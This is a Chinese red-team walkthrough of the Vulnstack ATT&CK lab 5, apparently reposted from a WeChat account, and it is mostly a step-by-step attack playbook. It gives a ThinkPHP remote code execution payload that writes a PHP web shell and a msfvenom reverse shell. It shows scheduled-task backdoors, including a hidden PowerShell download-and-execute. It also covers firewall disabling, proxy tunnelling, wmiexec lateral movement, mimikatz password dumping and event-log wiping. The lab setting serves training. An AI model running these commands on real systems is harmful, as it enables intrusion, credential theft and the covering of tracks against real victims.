0、靶场介绍
ATT&CK第五个攻防靶场已经出来了,此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习。
靶场详情:http://vulnstack.qiyuanxuetang.net/vuln/detail/8/
1、信息收集
2、漏洞分析
该阶段为漏洞挖掘、漏洞扫描、漏洞验证
2.1 漏洞挖掘
2.2 漏洞验证
漏洞POC:
http://127.0.0.1/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
3、漏洞利用
3.1 ThinkPHP 5.0.22 getshell
获取网站根目录,写入shell:
http://192.168.1.145//?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST["pass"]);?>" > C:\phpStudy\PHPTutorial\WWW\public\shell.php
3.2 主机信息收集
本机信息主要包括主机的系统、权限、内网分配 IP 地址段、端口、服务、共享、会话、网络连接信息、补丁更新频率、安装的软件杀毒等。如果是域内主机,系统、软件、补丁、服务、杀毒一般都是批量安装的。通过收集本机的相关信息,可以进一步了解整个域的操作系统版本、 软件、补丁、用户命名方式等。
0.查询当前权限、账号信息
whoami
whoami /all
1. 查询网络配置信息
ipconfig /all
2.查询操作系统及安装软件的版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
3.查询本机服务信息
wmic service list brief
4.查询进程列表
tasklist /v
wmic process list brief
5.查看启动程序信息
wmic startup get command,caption
6.查看计划任务
schtasks /query /fo LIST /v
7.查看主机开机时间
net statistics workstation
8.查询用户列表、获取本地管理员信息、查看当前在线用户
net user
net localgroup administrators
query user || qwinsta
9.列出或断开本地计算机和连接的客户端的会话
net session
10.查询端口列表
netstat -ano
11.查询补丁列表
Systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
12.查询本机共享
net share
wmic share get name,path,status
13.查询路由表及所有可用接口的 ARP 缓存表
route print
Arp –A
14.查询防火墙相关配置
netsh firewall show config
15.查看计算机代理配置情况
reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"
16.查询远程连接服务
在 cmd 下使用注册表查询语句,命令如下,得到连接端口为 0xd3d,转换后为 3389.
REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber
4、权限提升
4.1 msf 提权
使用 MSF 进行提权并且抓取散列值和明文密码:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=12345 -f exe -o payload.exe
4.2 dump Hash
4.3 远程登录
开启3389
run post/windows/manage/enable_rdp
或者
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
查看防火墙配置
netsh firewall show config
关闭防火墙:
Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off
5、权限维持
计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而使我们获得目标系统的控制权。计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。
5.1 任务计划
1、利用 at 命令
at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。
1. 首先在目标主机上传metasploit生成的后门程序:
meterpreter > upload /root/payload.exe C:\Windows\System32
2. 然后进入目标主机的shell使用net time命令确定目标主机的当前时间:
net time
3. 接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:
at 15:01:00 /every:M,T,W,Th,F c:windowssystem32backdoor.exe
4. 计划任务创建成功,目标主机将在每个工作日的15:01:00执行后门程序,我们便可以在这个时间获得目标机器的控制权:
2、利用 schtasks 命令
上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。所以攻击者开始使用schtasks命令来代替at命令。
在目标主机上创建一个名为test的计划任务,启动程序为C:vps.exe,启动权限为system,启动时间为每隔一小时启动一次。当执行完该命令,该计划任务就已经启动了
schtasks /create /tn test /sc HOURLY /mo 1 /tr c:vps.exe /ru system /f
其他启动时间参数:
/sc onlogon 用户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
但是如果是powershell命令的话,执行完下面的命令,还需要执行启动该计划任务的命令
schtasks /create /tn test /sc HOURLY /mo 1 /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://xx.xx.xx.xx'''))'" /ru system /f
查询该test计划任务
schtasks /query | findstr test
启动该test计划任务
schtasks /run /i /tn "test"
删除该test计划任务
schtasks /delete /tn "test" /f
利用schtasks创建后门的大致流程如下:
1. 首先在目标主机上传metasploit生成的后门程序。
2. 然后在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:
schtasks /create /tn backdoor /sc minute /mo 1 /tr c:windowssystem32backdoor.exe /ru system /f
3. 然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session
6、横向渗透
6.1 搭建 socks 代理
-
使用ew 开启一个正向代理
Linux系统
./ew_for_linux64 -s ssocksd -l 1080 #监听本地的1080端口
Windows系统
ew_for_Win.exe -s ssocksd -l 1080 #监听本地的1080端口
主机的设置
如果是Linux系统,配置proxychains代理链的配置文件,将代理设置成 100.100.10.12的1080端口:socks5 100.100.10.12 1080
然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19
如果是Windows系统,直接浏览器中设置代理为 web_ip 的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理
-
使用msf socks 搭建代理
-
使用 chisel 搭建一个代理
服务端:
chisel.exe server -p 3080 --socks5
攻击端:
./chisel_linux64 client 192.168.1.145:3080 socks
6.2 内网信息收集
-
域内信息收集
查看域名
Net config workstation
Ipconfig /all
查看几个域
Net view /domain
查看是否是域名主机
Net time /domain
查看域内主机
Net user /domain
查看域控
Net group “domain controllers“ /domain
查看域管理员
Net group “domain admins” /domain
-
域名主机存活
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.138.%I | findstr "TTL="
auxiliary/scanner/smb/smb_version
-
端口服务探测
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.138.138
6.3 横向渗透--域控
-
使用 ms17-010 拿下域控 -- 利用失败
-
wmi 进行横向 -- 获取域控
proxychains4 wmiexec.py sun/administrator:[email protected]
开启3389,关闭防火墙:
#设置远程桌面端口
reg add "HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
#检查端口状态
netstat -an|find "3389"
关闭防火墙:
Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off
使用域账号登录:
-
dump hash
proxychains4 smbclient //192.168.138.138/C$ -U administrator
put mimikatz.exe
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
7、痕迹清理
有远程桌面权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志
wevtutil:
wevtutil el 列出系统中所有日志名称
wevtutil cl system 清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security 清理安全日志
meterperter自带清除日志功能:
clearev 清除windows中的应用程序日志、系统日志、安全日志
清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:UsersAdministratorRecent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%Recent*.*
原文始发于微信公众号(贝雷帽SEC):ATT&CK实战系列—红队实战-5
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论